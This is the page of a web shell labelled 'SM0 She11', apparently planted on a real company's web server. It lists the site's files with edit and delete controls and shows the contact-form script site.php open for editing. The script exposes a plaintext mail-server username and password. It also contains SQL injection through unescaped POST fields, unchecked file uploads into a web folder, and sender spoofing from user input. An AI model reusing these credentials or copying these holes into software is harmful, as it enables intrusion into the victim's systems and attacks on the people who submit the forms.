SM0 She11

Full Path (server): /home/saienerg/public_html

📄 .DS_Store [E] [D]
📄 .ftpquota [E] [D]
📄 .htaccess [E] [D]
📄 .htaccessold [E] [D]
📄 .user.ini [E] [D]
📁 SpryAssets Open [D]
📄 about-ramesh.php [E] [D]
📄 about-sivakumar.php [E] [D]
📄 about-thangaraju.php [E] [D]
📄 about-venkat.php [E] [D]
📄 aboutus.php [E] [D]
📄 affected.zip [E] [D]
📄 careercopy.php [E] [D]
📄 careerpost.php [E] [D]
📄 careers.php [E] [D]
📄 careersapplynow.php [E] [D]
📄 careerslocation.php [E] [D]
📄 cat-photo.php [E] [D]
📄 class.phpmailer.php [E] [D]
📄 class.smtp.php [E] [D]
📄 clients.php [E] [D]
📄 cmn_lib.php [E] [D]
📄 contactus.php [E] [D]
📁 css Open [D]
📁 demo Open [D]
📄 enquiry-omservice.php [E] [D]
📄 enquiry-otherservice.php [E] [D]
📁 enquiryupload Open [D]
📄 error_log [E] [D]
📄 event-details.php [E] [D]
📄 eventslist.php [E] [D]
📁 fonts Open [D]
📄 gallery-album.php [E] [D]
📄 gallery-photo.php [E] [D]
📄 gallery-video.php [E] [D]
📄 google11bb5e94a094932d.html [E] [D]
📁 images Open [D]
📁 img Open [D]
📁 include Open [D]
📄 index.html [E] [D]
📄 index.php [E] [D]
📄 index1.php [E] [D]
📁 intra Open [D]
📁 js Open [D]
📄 mail.php [E] [D]
📄 peformance_archives.php [E] [D]
📄 per-articles.php [E] [D]
📄 per-experiencelist-pre-OEM.php [E] [D]
📄 per-experiencelist-pre-direct.php [E] [D]
📄 per-experiencelist-services-dis.php [E] [D]
📄 per-experiencelist-services-energy.php [E] [D]
📄 per-experiencelist-services-special.php [E] [D]
📄 per-experiencelist-services-trou.php [E] [D]
📄 per-experiencelist.php [E] [D]
📄 per-listofcurrent.php [E] [D]
📄 per-monthlyperform.php [E] [D]
📄 per-servicecap.php [E] [D]
📄 php.ini [E] [D]
📄 products-details.php [E] [D]
📄 products-details1.php [E] [D]
📄 products.php [E] [D]
📄 products1.php [E] [D]
📄 products_old.php [E] [D]
📄 service.php [E] [D]
📄 site.js [E] [D]
📄 site.php [E] [D]
📄 ssl.php [E] [D]
📄 testmail.php [E] [D]
📄 top-footertop.php [E] [D]
📄 top-side-serviceslist.php [E] [D]

Editing: site.php

<?php
include("intra/spel_config.php");
 include("intra/cmn_lib.php");
 $obj = new glibrary();

$u='_';

require("class.phpmailer.php");
$mail = new PHPMailer();
$mail -> CharSet = "UTF-8";
$mail->IsSMTP();

$mail->Host = "mail.saienergy.com";
$mail->SMTPAuth = true;
//$mail->SMTPSecure = 'tls';
$mail->Port = 587;
$mail->CharSet = "UTF-8";

$mail->Username = "webmaster@saienergy.com";
$mail->Password = "spel@123";

$mail->IsHTML(true);

$stm_nw = strtotime('now');

$tdy = date("d/m/Y");

if(isset($_GET['enq_post']))
{
	
	$val=explode('$',$_GET['enq_post']);
	
	//$val = array_map('strtoupper', $val);

$nme = mysqli_real_escape_string($idb,$val[0]);  	
 
 $cmp_nme = mysqli_real_escape_string($idb,$val[1]);

$mob = mysqli_real_escape_string($idb,$val[2]);  
  $email = mysqli_real_escape_string($idb,$val[3]);  
  $msg = mysqli_real_escape_string($idb,$val[4]); 
 
  
  
 $sql = "insert into enquiries_list(enq_by,cmp_nme, mob_no, email, enq_details, enq_stm) values   	
 ('$nme','$cmp_nme','$mob','$email', '".$msg."','$stm_nw')";
 $qry=mysqli_query($idb,$sql)or die(mysqli_error($idb));

$message = '<html><body>';	
	$message .=' ';
$message .=' Dear Marketing Team, you received an enquiry from our website. ';
	
	$message .='';
 $message .='<table width="900" border="1" class="gridtable" align="center" style="border-color: #a1a0a0;font-size:12px;font-family:verdana,arial,sans-serif;border-collapse: collapse;border-style: solid;" >
 <tr>
 <td height="34" colspan="4" align="center" style="background-color:#024F7E; color:#FFF;font-size:16px;font-weight:bold"> Enquiry Details</td>
 </tr>

<tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Enquired By</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$nme.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Company Name</td>
 <td width="296" style="background-color:#F3F3F3"> '.$cmp_nme.'</td>

</tr>
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Mobile No. </td>
 <td height="25" colspan="3" style="background-color:#F3F3F3">'.$mob.' </td>
 </tr>
 
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">E-mail </td>
 <td height="25" colspan="3" style="background-color:#F3F3F3">'.$email.' </td>
 </tr>
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Message </td>
 <td height="25" colspan="3" style="background-color:#F3F3F3">'.$msg.' </td>
 </tr>
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Enquired On </td>
 <td height="25" colspan="3" style="background-color:#F3F3F3">'.$tdy.' </td>
 </tr>
 </table>';

$mail->IsHTML(true);  
 $mail->Subject = "SPEL Enquiry";
 $mail->From =  "$email";
 
$mail->FromName = $nme;
$mail->addAddress("marketing@saienergy.com");
$mail->Body    = "$message ";
	if(!$mail->send()) 
	{
	 echo '0';	
	} 
	else 
	{
	   echo '1';	
	}

}if(isset($_GET['cp_enquiry']))
{
	
	$val=explode('$',$_GET['cp_enquiry']);
	
 
 
 $nme = mysqli_real_escape_string($idb,$val[0]); 	 $mob = mysqli_real_escape_string($idb,$val[1]); 
 $email = mysqli_real_escape_string($idb,$val[2]); $msg = mysqli_real_escape_string($idb,$val[3]); 
 
 
 
 		 
 
 $message = '<html><body>';	
	$message .=' ';
	$message .=' Dear Marketing Team, you received an enquiry from our website';
 $message .=' ';
	$message .='';
 $message .='<table width="900" border="1" class="gridtable" align="center" style="border-color: #a1a0a0;font-size:12px;font-family:verdana,arial,sans-serif;border-collapse: collapse;border-style: solid;" >
 <tr>
 <td height="34" colspan="4" align="center" style="background-color:#024F7E; color:#FFF;font-size:16px;font-weight:bold"> Enquiry Details</td>
 </tr>

<tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Enquired By</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$nme.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Mobile No.</td>
 <td width="296" style="background-color:#F3F3F3"> '.$mob.'</td>

</tr>
 
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">E-mail </td>
 <td height="25" colspan="3" style="background-color:#F3F3F3">'.$email.' </td>
 </tr>
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Message </td>
 <td height="25" colspan="3" style="background-color:#F3F3F3">'.$msg.' </td>
 </tr>
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Enquired On </td>
 <td height="25" colspan="3" style="background-color:#F3F3F3">'.$tdy.' </td>
 </tr>
 </table>';

$mail->IsHTML(true);  
 $mail->Subject = "SPEL Enquiry Reply ";
 $mail->From =  $email;
 
$mail->FromName = $nme;
$mail->addAddress("marketing@saienergy.com");

$mail->Body    = "$message ";
 
	if(!$mail->send()) 
	{
	 echo '0';	
	} 
	else 
	{
	   echo '1';	
	}

} else if(isset($_POST['omenquiry']))
{
	
 
$enq_by=$_POST['name'];
$designation=$_POST['designation'];
$cmp_nme=$_POST['company']; 
$cmp_adrs=$_POST['company_addres'];
$location=$_POST['location'];

$phone = $_POST['phone'];
$mob_no = $_POST['mobile'];
$email  = $_POST['email'];
$srcat_id = '1';

$enq_details   = $_POST['description'];
$enq_for   = $_POST['enq_for'];

$q1=mysqli_query($idb,"SELECT enq_id FROM enquiries_list ORDER BY enq_id  DESC  LIMIT 0 , 1");
$f1=mysqli_fetch_array($q1);
$enq_id=$f1['enq_id'];

$fldr = "intra/assets/docs/enquiry/";

if(isset($_FILES['attachment']['tmp_name']))
 {
  		$file_name = str_replace(" ", "_", $_FILES['attachment']['name']);
 		$file_size =$_FILES['attachment']['size'];
 		$file_tmp =$_FILES['attachment']['tmp_name'];
 		$file_type=$_FILES['attachment']['type'];	
 		
 		if($file_size>0)
 		{
			
			  $fn=$enq_id.$u.$file_name;
 		     $doc_nme = trim($fn);
              move_uploaded_file($file_tmp,"$fldr".$doc_nme);
 		}
}
 
 
 
      $sql = "insert into enquiries_list(enq_by,designation,cmp_nme,cmp_adrs,location,phone,mob_no,email,srcat_id,enq_details,enq_for,enq_doc,enq_stm) values
  
   	('$enq_by','$designation','$cmp_nme','$cmp_adrs','".$location."','$phone','$mob_no','$email','$srcat_id','$enq_details','$enq_for','$doc_nme','$stm_nw')";

$qry=mysqli_query($idb,$sql)or die(mysqli_error($idb));

$message = '<html><body>';		
	
	//$message .=' Dear '.$aplnt_nme.' .Thanks for your Interest In SPEL.Our Team will contact you shortly';
 $message .=' Dear Marketing Team, you received an enquiry from our website. ';
	
	$message .='';
 $message .='<table width="900" border="1" class="gridtable" align="center" style="border-color: #a1a0a0;font-size:12px;font-family:verdana,arial,sans-serif;border-collapse: collapse;border-style: solid;" >
 <tr>
 <td height="34" colspan="4" align="center" style="background-color:#024F7E; color:#FFF;font-size:16px;font-weight:bold"> Applicant Details</td>
 </tr>

<tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Name</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$enq_by.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Designation</td>
 <td width="296" style="background-color:#F3F3F3"> '.$designation.'</td>
 </tr>
 <tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Company Name</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$cmp_nme.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Company Address</td>
 <td width="296" style="background-color:#F3F3F3"> '.$cmp_adrs.'</td>
 </tr>
 <tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Plant Location</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$location.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Phone No.</td>
 <td width="296" style="background-color:#F3F3F3"> '.$phone.'</td>
 </tr>
 <tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Mobile No.</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$mobile.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">E-mail</td>
 <td width="296" style="background-color:#F3F3F3"> '.$email.'</td>
 </tr>
 <tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Boiler Type</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$boil_typ.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Plant Capacity</td>
 <td width="296" style="background-color:#F3F3F3"> '.$plnt_cpcty.'</td>
 </tr>
 <tr>
 <td width="167" height="25" align="right" style="background-color:#F0F0F0; font-size:14px;">Enquiry Type</td>
 <td width="244" height="25" style="background-color:#F3F3F3">'.$enq_for.' </td>
 <td width="159" height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Tender</td>
 <td width="296" style="background-color:#F3F3F3"> '.$tender.'</td>
 </tr> 
 
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Enquiry Description</td>
 <td colspan="3" style="background-color:#F3F3F3">'.$enq_details.'</td>
 
 </tr>
 <tr>
 <td height="25" style="background-color:#F0F0F0; font-size:14px" align="right">Applied On</td>
 <td colspan="3" style="background-color:#F3F3F3">'.$tdy.'</td>
 
 </tr>

</table>';

$fnl2=$fldr.$doc_nme;
    
 
 $mail->Subject = "Enquiry";
   $mail->From =  $email;
 
$mail->FromName = $enq_by;
$mail->addAddress("marketing@saienergy.com");
$mail->AddAttachment($fnl2);  
 $mail->Body    = "$message ";

if(!$mail->send()) 
{
    echo "Mailer Error: " . $mail->ErrorInfo;
} 
else 
{
   // echo "Message has been sent successfully";
}

if($qry)
{
 echo '1';	
}else{
 echo '0';	
}

}else if(isset($_POST['otherenquiry']))
{
	
 
$enq_by=$_POST['name'];
$designation=$_POST['designation'];
$cmp_nme=$_POST['company']; 
$cmp_adrs=$_POST['company_addres'];
$location=$_POST['location'];

$phone = $_POST['phone'];
$mob_no = $_POST['mobile'];
$email  = $_POST['email'];
 
$srcat_id   = $_POST['srcat_id'];
//$boil_typ   = $_POST['boiler_type'];
//$plnt_cpcty   = $_POST['capacity'];

$enq_details   = $_POST['description'];
//$enq_for   = $_POST['enq_for'];
//$tender   = $_POST['tender'];

$fldr = "intra/assets/docs/enquiry/";

$q1=mysqli_query($idb,"SELECT enq_id FROM enquiries_list ORDER BY enq_id  DESC  LIMIT 0 , 1");
$f1=mysqli_fetch_array($q1);
$enq_id=$f1['enq_id'];

$sql = "insert into enquiries_list(enq_by,designation,cmp_nme,cmp_adrs,location,phone,mob_no,email,srcat_id,enq_details,enq_doc,enq_stm) values
  
   	('$enq_by','$designation','$cmp_nme','$cmp_adrs','".$location."','$phone','$mob_no','$email','$srcat_id','$enq_details','$doc_nme','$stm_nw')";

$qry=mysqli_query($idb,$sql)or die(mysqli_error($idb));

$message = '<html><body>';		
	
	$message .=' Dear '.$aplnt_nme.' .Thanks for your Interest In SPEL.Our Team will contact you shortly';
	
	$message .='';
 $message .='<table width="900" border="1" class="gridtable" align="center" style="border-color: #a1a0a0;font-size:12px;font-family:verdana,arial,sans-serif;border-collapse: collapse;border-style: solid;" >
 <tr>
 <td height="34" colspan="4" align="center" style="background-color:#024F7E; color:#FFF;font-size:16px;font-weight:bold"> Applicant Details</td>
 </tr>

</table>';

$fnl2=$fldr.$doc_nme;
    
 $mail->AddAttachment($fnl2);  
 $mail->Subject = "OM Enquiry";
   $mail->From =  "agiledesignstudio@gmail.com";
 
$mail->FromName = "SPEL";
$mail->addAddress("$email", "$enq_by");

$mail->Body    = "$message ";

//$mail->Addcc("agiledesignstudio@gmail.com"); 
if(!$mail->send()) 
{
    echo "Mailer Error: " . $mail->ErrorInfo;
} 
else 
{
   // echo "Message has been sent successfully";
}

if($qry)
{
 echo '1';	
}else{
 echo '0';	
}

}